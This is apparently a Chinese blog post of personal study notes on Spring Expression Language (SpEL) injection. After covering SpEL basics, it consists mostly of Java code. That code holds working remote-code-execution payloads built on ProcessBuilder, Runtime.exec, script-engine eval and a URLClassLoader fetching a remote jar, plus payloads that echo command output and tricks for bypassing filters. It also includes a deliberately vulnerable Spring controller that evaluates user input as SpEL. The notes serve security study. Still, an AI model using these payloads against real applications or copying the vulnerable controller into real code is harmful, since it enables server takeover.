SPEL
1diot9 Lv4

https://www.cnblogs.com/bitterz/p/15206255.html

https://xz.aliyun.com/news/8744

https://drun1baby.top/2022/09/23/Java-%E4%B9%8B-SpEL-%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5

主要看的这三篇文章,下面简要整理一下我认为的重点。

SPEL表达式基础

定界符#{}

SpEL 使用 #{} 作为定界符,所有在大括号中的字符都将被认为是 SpEL 表达式,在其中可以使用 SpEL 运算符、变量、引用 Bean 及其属性和方法等。

这里需要注意 #{}${} 的区别:

#{} 就是 SpEL 的定界符,用于指明内容未 SpEL 表达式并执行;

${} 主要用于加载外部属性文件中的值;

两者可以混合使用,但是必须 #{} 在外面,${} 在里面,如 #{'${}'},注意单引号是字符串类型才添加的;

主要用法

xml配置文件

可以在bean配置文件中,对类属性类方法进行引用:

1
2
3
4
5
6
7
<bean id="kenny" class="com.spring.entity.Instrumentalist"
p:song="May Rain"
p:instrument-ref="piano"/>
<bean id="Drunkbaby" class="com.spring.entity.Instrumentalist">
<property name="instrument" value="#{kenny.instrument}"/>
<property name="song" value="#{kenny.song}"/>
</bean>

可以通过T()来访问类,类的静态方法和静态变量,这个很重要:

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>  
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-3.0.xsd ">

<bean id="helloWorld" class="com.drunkbaby.pojo.HelloWorld">
<property name="message" value="#{'Drunkbaby'} is #{T(java.lang.Math).random()}" />
</bean>

</beans>

这部分和ClassPathXml加载xml文件实现代码执行有联系,xml里也是通过SPEL来写payload的:

img

img

@Value注解

一般是注入配置文件中的值

1
2
3
4
5
6
7
public class EmailSender {
@Value("${spring.mail.username}")
private String mailUsername;
@Value("#{ systemProperties['user.region'] }")
private String defaultLocale;
//...
}

代码块中使用Expression

应用示例如下,和前面 XML 配置的用法区别在于程序会将这里传入 parseExpression() 函数的字符串参数当初 SpEL 表达式来解析,而无需通过 #{} 符号来注明:

1
2
3
4
5
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression("('Hello' + ' Drunkbaby').concat(#end)");
EvaluationContext context = new StandardEvaluationContext();
context.setVariable("end", "!");
System.out.println(expression.getValue(context));

注意里面的#end,这代表引用变量。

#this:使用当前正在计算的上下文;

#root:引用容器的 root 对象;

每一行的意思:

1、创建解析器:SpEL 使用 ExpressionParser 接口表示解析器,提供 SpelExpressionParser 默认实现;
2、解析表达式:使用 ExpressionParserparseExpression 来解析相应的表达式为 Expression 对象;
3、构造上下文:准备比如变量定义等等表达式需要的上下文数据;(可省略)
4、求值:通过 Expression 接口的 getValue 方法根据上下文获得表达式值;

主要接口:

ExpressionParser 接口:表示解析器,默认实现是 org.springframework.expression.spel.standard 包中的 SpelExpressionParser 类,使用 parseExpression 方法将字符串表达式转换为 Expression 对象,对于 ParserContext 接口用于定义字符串表达式是不是模板,及模板开始与结束字符;

EvaluationContext 接口:表示上下文环境,默认实现是 org.springframework.expression.spel.support 包中的 StandardEvaluationContext 类,使用 setRootObject 方法来设置根对象,使用 setVariable 方法来注册自定义变量,使用 registerFunction 来注册自定义函数等等。

Expression 接口:表示表达式对象,默认实现是 org.springframework.expression.spel.standard 包中的 SpelExpression,提供 getValue 方法用于获取表达式值,提供 setValue 方法用于设置对象值。

利用方式

RCE第一部分

调用ProcessBuilder,调用Runtime,调用ScriptEngine

直接看代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
package com.test;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

import javax.script.ScriptEngineFactory;
import javax.script.ScriptEngineManager;
import java.util.List;

// 如果使用非默认ParserContext,所有payload用#{}包裹
public class RcePart1 {
public static void main(String[] args) {
// pb();
// runtime();
// getEngineFactory();
// nashorn();
javascript();
}

public static void pb() {
String cmdStr = "new java.lang.ProcessBuilder(new String[]{'calc'}).start()";

ExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression exp = parser.parseExpression(cmdStr);//解析表达式
System.out.println( exp.getValue() );//弹出计算器
}

public static void runtime() {
String cmdStr = "T(Runtime).getRuntime().exec(new String[]{'cmd.exe', '/c', 'notepad'})";

ExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression exp = parser.parseExpression(cmdStr);//解析表达式
System.out.println( exp.getValue() );
}

public static void getEngineFactory() {
ScriptEngineManager manager = new ScriptEngineManager();
List<ScriptEngineFactory> factories = manager.getEngineFactories();
for (ScriptEngineFactory factory: factories){
System.out.printf(
"Name: %s%n" + "Version: %s%n" + "Language name: %s%n" +
"Language version: %s%n" +
"Extensions: %s%n" +
"Mime types: %s%n" +
"Names: %s%n",
factory.getEngineName(),
factory.getEngineVersion(),
factory.getLanguageName(),
factory.getLanguageVersion(),
factory.getExtensions(),
factory.getMimeTypes(),
factory.getNames()
);
}
}

public static void nashorn(){
String cmdStr = "new javax.script.ScriptEngineManager().getEngineByName(\"nashorn\").eval(\"s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);\")";

ExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression exp = parser.parseExpression(cmdStr);//解析表达式
System.out.println( exp.getValue() );//弹出计算器
}

public static void javascript(){
String cmdStr = "new javax.script.ScriptEngineManager().getEngineByName(\"javascript\").eval(\"s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);\")";

ExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression exp = parser.parseExpression(cmdStr);//解析表达式
System.out.println( exp.getValue() );//弹出计算器
}
}

RCE第二部分

调用各式各样的ClassLoader,包括UrlClassLoader,AppClassLoader

直接看代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package com.test;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class RcePart2 {
public static void main(String[] args) {
// urlLoader();
// appLoader();
getAppFromOtherClass();
}

/*打包jar时,如果类在多层包中,打包时一定要把前面几层文件夹也打包进行,jar打开应该是aaa/bbb/Exp.class的形式,这样才能正常loadClass*/
public static void urlLoader(){
String cmdStr = "new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(\"http://127.0.0.1:7777/Exp.jar\")}).loadClass(\"aaa.bbb.Exp\").getConstructors()[0].newInstance(\"calc\")";

ExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression exp = parser.parseExpression(cmdStr);//解析表达式
System.out.println( exp.getValue() );
}

public static void appLoader(){
String cmdStr = "T(ClassLoader).getSystemClassLoader().loadClass(\"java.lang.Runtime\").getRuntime().exec('calc')";

ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(cmdStr);
System.out.println( exp.getValue() );
}

public static void getAppFromOtherClass(){
String cmdStr = "T(org.springframework.expression.Expression).getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"calc\")";

ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(cmdStr);
System.out.println( exp.getValue() );
}

/*有web上下文的环境使用。不过我本地测试全失败了。而且不知道为什么文章里要加[[${}]]*/
public static void getUrlFromInnerClass(){
String cmdStr1 = "#request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"calc\")";
String cmdStr2 = "username[#this.getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"java.lang.Runtime.getRuntime().exec('xterm')\")]=asdf";
}
}

回显利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package com.test;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class RceEcho {
public static void main(String[] args) {
// commons_io();
// br();
scanner();
}

/*必须有commons-io依赖*/
public static void commons_io(){
String cmdStr = "T(org.apache.commons.io.IOUtils).toString((new java.lang.ProcessBuilder(new String[]{'whoami'}).start()).getInputStream())";

ExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression exp = parser.parseExpression(cmdStr);//解析表达式
System.out.println( exp.getValue() );
}

/*仅适用于jdk>=9*/
public static void jShell(){
String cmdStr = "T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass(\"jdk.jshell.JShell\",true).Methods[6].invoke(null,{}).eval(\"T(Runtime).getRuntime().exec('whoami')\").toString()";

ExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression exp = parser.parseExpression(cmdStr);//解析表达式
System.out.println( exp.getValue() );
}

/*缺点:只能读一行*/
public static void br(){
String cmdStr = "new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder(\"cmd\", \"/c\", \"whoami\").start().getInputStream(), \"gbk\")).readLine()\n";

ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(cmdStr);
System.out.println( exp.getValue() );
}

/*useDelimiter内的参数为分割标志,所以随便填一个,这样回显结果才完整*/
public static void scanner(){
String cmdStr = "new java.util.Scanner(new java.lang.ProcessBuilder(\"cmd\", \"/c\", \"dir\", \".\").start().getInputStream(), \"GBK\").useDelimiter(\"asfsfsdfsf\").next()\n";

ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(cmdStr);
System.out.println( exp.getValue() );
}

}

绕过技巧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.test;

public class BypassTrick {
/**
* // 反射调用+字符串拼接,绕过如javacon题目中的正则过滤
* T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
*
* new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()
*
* T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))
*
* T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"))
*
*T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)
*/
}

Web环境下利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package com.spring.controller;

import org.springframework.expression.Expression;
import org.springframework.expression.common.TemplateParserContext;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import java.io.IOException;

@Controller
public class TestController {
/*由于tomcat对GET请求中的| {} 等特殊字符存在限制(RFC 3986),所以使用POST方法传递参数*/
@ResponseBody
@PostMapping(value = "/index")
public String index(String string) throws IOException {
SpelExpressionParser spelExpressionParser = new SpelExpressionParser();
Expression expression = spelExpressionParser.parseExpression(string);
String out = (String) expression.getValue();
out = out.concat(" get");
return out;
}

@ResponseBody
@PostMapping(value = "/index2")
public String index2(String string) throws IOException {
SpelExpressionParser spelExpressionParser = new SpelExpressionParser();
TemplateParserContext templateParserContext = new TemplateParserContext();
/*使用模板解析,传参时需要加上#{}*/
Expression expression = spelExpressionParser.parseExpression(string, templateParserContext);
Integer out = (Integer) expression.getValue();
return Integer.toString(out);
}
}

唯一要注意的是,/index2中,配置了ParseContext,所以传参要带上#{}

疑惑

1、从其他类获取的ClassLoader无法正常利用

img

2、无法在Web环境中获取#request,#this;不理解[[${}]]的作用

img

img

我这样会报错,去掉#也是。

img

不知道这里为什么传入[[${}]],不知道他web端怎么写的

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 84k 访客数 访问量